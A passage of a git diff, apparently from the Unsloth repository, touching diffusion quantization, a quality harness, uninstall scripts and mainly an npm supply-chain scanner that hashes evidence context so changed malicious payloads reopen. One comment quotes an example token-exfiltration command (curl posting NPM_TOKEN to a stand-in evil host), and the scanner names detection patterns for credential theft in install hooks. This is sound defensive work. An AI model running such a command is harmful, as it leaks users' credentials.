the accumulate mode into the saved kernels; record the resolved choice so the + # loader can refuse a checkpoint whose baked value contradicts an explicit runtime request. + fast_accum = _resolve_fast_accum(None) if scheme == TQ_FP8 else None quantize_( transformer, _make_quant_config(scheme), - filter_fn = make_filter_fn( - args.min_features, exclude_name_tokens = exclude_tokens_for_scheme(scheme) - ), + filter_fn = make_filter_fn(args.min_features, exclude_name_tokens = exclude_name_tokens), ) # Move the state dict to CPU for a portable, GPU-free artifact. @@ -103,6 +107,11 @@ def main(argv = None) -> int: "family": fam.name, "scheme": scheme, "min_features": args.min_features, + # The layers skipped for this scheme (int8's M=1 modulation projections; () for + # the scaled_mm schemes) and, for fp8, the baked accumulate mode. Both let the + # loader reject a checkpoint that would not match the runtime path. + "exclude_name_tokens": list(exclude_name_tokens), + "fast_accum": fast_accum, "torch_dtype": args.dtype, "quant_backend": "torchao", "transformer_class": fam.transformer_class, diff --git a/scripts/diffusion_quality.py b/scripts/diffusion_quality.py index 5b241085df..a8d504713d 100644 --- a/scripts/diffusion_quality.py +++ b/scripts/diffusion_quality.py @@ -67,6 +67,12 @@ def _to_rgb(path_or_img: Any) -> Any: return np.asarray(img.convert("RGB"), dtype = np.float64) +# Finite PSNR (dB) a perfect (inf) sample is capped to when averaged with imperfect ones, +# so a lossless render counts as excellent without hiding diverged samples. Well above the +# ~37 dB compile and ~21 dB quant noise floors this harness reports. +_PERFECT_MATCH_PSNR = 100.0 + + def psnr(a_img: Any, b_img: Any) -> float: """PSNR (dB) between two images; inf when identical, 0 when shapes differ.""" a, b = _to_rgb(a_img), _to_rgb(b_img) @@ -280,13 +286,21 @@ def _compare( clip_sim.append(clip.image_similarity(img, ref)) def _mean(xs: list[float]) -> Optional[float]: - # Preserve +inf: an identical render (reference vs itself, or a lossless - # quant/offload) scores PSNR=inf, which is exactly the case this harness - # verifies; dropping it as non-finite would print "-" instead of "inf". - if xs and any(x == math.inf for x in xs): + # +inf marks an identical render (reference vs itself, or a lossless quant/offload) + # scoring PSNR=inf -- the case this harness verifies. Report inf ONLY when every + # sample is inf; a mix of inf and finite means some renders diverged, so a bare inf + # would mask those bad samples. Cap the perfect ones to a high finite PSNR and + # average so the drift still shows. (Only PSNR is ever inf; SSIM/CLIP stay finite.) + if not xs: + return None + if all(x == math.inf for x in xs): return math.inf - finite = [x for x in xs if math.isfinite(x)] - return round(sum(finite) / len(finite), 4) if finite else None + vals = [ + _PERFECT_MATCH_PSNR if x == math.inf else x + for x in xs + if math.isfinite(x) or x == math.inf + ] + return round(sum(vals) / len(vals), 4) if vals else None return { "mean_psnr": _mean(psnrs), diff --git a/scripts/perf_levers_probe.py b/scripts/perf_levers_probe.py index 3964ab46ad..565e28c6b9 100644 --- a/scripts/perf_levers_probe.py +++ b/scripts/perf_levers_probe.py @@ -148,6 +148,17 @@ def run( del pipe # free the resident pipe so a skipped variant doesn't leak VRAM torch.cuda.empty_cache() return None + else: + # set_attention_backend pins diffusers' PROCESS-WIDE active backend, and a fresh + # transformer's processors (backend None) inherit it. Force native for the no-attn + # variants so they aren't silently measured under a prior variant's kernel (e.g. + # fbcache running with a leftover sage backend). + try: + pipe.transformer.set_attention_backend("native") + except Exception as exc: # noqa: BLE001 — best-effort isolation + print( + f" [{tag}] attn(native-reset)={type(exc).__name__}:{str(exc)[:60]}", flush = True + ) if fbcache is not None: try: from diffusers.hooks import FirstBlockCacheConfig, apply_first_block_cache diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index c1d156d40a..47b85147ca 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,8 +40,10 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it +import bisect import hashlib import io +import itertools import json import os import re @@ -897,20 +899,364 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── +# How far back to look for an enclosing bracket opener. Symmetric with the +# forward cap so a host that sits deep inside a large options object (its opening +# `{` many properties above) still binds the whole object, not just its own line; +# a too-far start only over-binds (more context, still fail-closed), never less. +_MAX_CONT_LINES = 200 +# Hard cap on how far forward a bracket group is followed to its close, measured +# from the matched line so the tail after the match is always reachable even when +# the opener was found near the backward limit (digest input only, never +# displayed); a realistic config object closes well within it. +_MAX_GROUP_LINES = 200 + +# JS string literal (single / double / template), blanked before counting +# brackets so a bracket inside a string is not mistaken for code. +_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: + buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v2 keys on the package-relative -# path; v1 stored only a basename, so a v1 entry could suppress a same-named file -# in a different directory. A pre-v2 baseline with entries is ignored (fail -# closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 2 +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 def _norm_pkg_name(display: str) -> str: @@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, pattern.""" - return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() entries = data.get("entries", []) - if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str]] = set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) + evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": (f.evidence or f.detail)[:240], + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), } ) doc = { "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern); evidence/severity are for review " - "only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 61d8e74023..6ed3cedef9 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 2, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, "entries": [] } diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1 index 88defb9ea0..5d60bacf90 100644 --- a/scripts/uninstall.ps1 +++ b/scripts/uninstall.ps1 @@ -335,6 +335,10 @@ function Uninstall-UnslothStudio { # with it). A user-set UNSLOTH_LLAMA_CPP_PATH is left alone. $defaultUnslothHome = if ($env:USERPROFILE) { Join-Path $env:USERPROFILE ".unsloth" } else { $null } $defaultLlamaCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "llama.cpp" } else { $null } + # Default-mode native diffusion build (install_sd_cpp_prebuilt.default_install_dir()), + # a sibling of studio like llama.cpp. No-op in env/custom mode and when absent. A + # user-set UNSLOTH_SD_CPP_PATH is left alone. + $defaultSdCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "stable-diffusion.cpp" } else { $null } $defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" } else { $null } # Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in # default mode. No-op in env/custom mode (nested under the custom root) and absent. @@ -384,6 +388,7 @@ function Uninstall-UnslothStudio { # Default-mode shared llama.cpp build + cache (siblings of studio under # ~/.unsloth). No-op in env/custom mode and when absent. if ($defaultLlamaCpp) { _RemovePath $defaultLlamaCpp } + if ($defaultSdCpp) { _RemovePath $defaultSdCpp } if ($defaultCache) { _RemovePath $defaultCache } # Isolated Node.js runtime (sibling of studio under ~/.unsloth). No-op in env/ # custom mode (nested under the custom root, removed with it) and when absent. diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh index 31e851fcbb..f68fd37131 100755 --- a/scripts/uninstall.sh +++ b/scripts/uninstall.sh @@ -216,6 +216,10 @@ _remove_path "$HOME/.unsloth/studio" # by deleting it). No-op 